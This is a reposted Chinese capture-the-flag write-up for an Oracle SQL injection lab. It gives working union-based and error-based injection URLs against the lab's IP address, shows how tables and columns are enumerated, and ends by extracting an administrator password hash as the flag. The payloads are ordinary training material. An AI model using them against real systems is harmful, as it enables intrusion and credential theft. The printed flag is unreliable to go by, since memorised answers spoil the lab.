C/C++教程

封神台靶场-Oracle注入

本文主要是介绍封神台靶场-Oracle注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

靶场

image

显错注入

判断注入存在

http://59.63.200.79:8808/?id=1 and 1=1 #页面正常
http://59.63.200.79:8808/?id=1 and 1=2 #页面异常

判断字段数

http://59.63.200.79:8808/?id=1 order by 4 # 页面正常
http://59.63.200.79:8808/?id=1 order by 5 # 页面异常

得出字段数为4

判断显错点

http://59.63.200.79:8808/?id=1 and 1=2 union all select null,to_nchar('a'),null,null from dual

得出显错点为第2位

信息收集,查询数据

# 查询表名
http://59.63.200.79:8808/?id=1 and 1=2 union all select null,to_nchar(table_name),null,null from user_tables where rownum=1

依次尝试得出最终表有:ADMIN,MD5,NEWS

# 查询ADMIN表字段名
http://59.63.200.79:8808/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN'

依次尝试得出ADMIN表字段有:UPASS,UNAME

# 查询数据
由提示知,flag为UNAME='NF'对应的UPASS字段,所以我们直接查询
http://59.63.200.79:8808/?id=1 and 1=2 union all select null,to_nchar(UPASS),null,null from ADMIN where UNAME='NF'

得出最终flag:2a61f8bcfe7535eadcfa69eb4406ceb9

报错注入

查询表名

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))-- qwe

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN'))-- qwe

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN' and table_name != 'NEWS'))-- qwe

得出表名:ADMIN,NEWS,MD5

查询ADMIN表字段名

and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN'))-- qwe

and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN' and column_name != 'UNAME'))-- qwe

得出ADMIN表字段名:UNAME,UPASS

查询数据

http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where UNAME='NF'))-- qwe

得出flag:2a61f8bcfe7535eadcfa69eb4406ceb9

这篇关于封神台靶场-Oracle注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!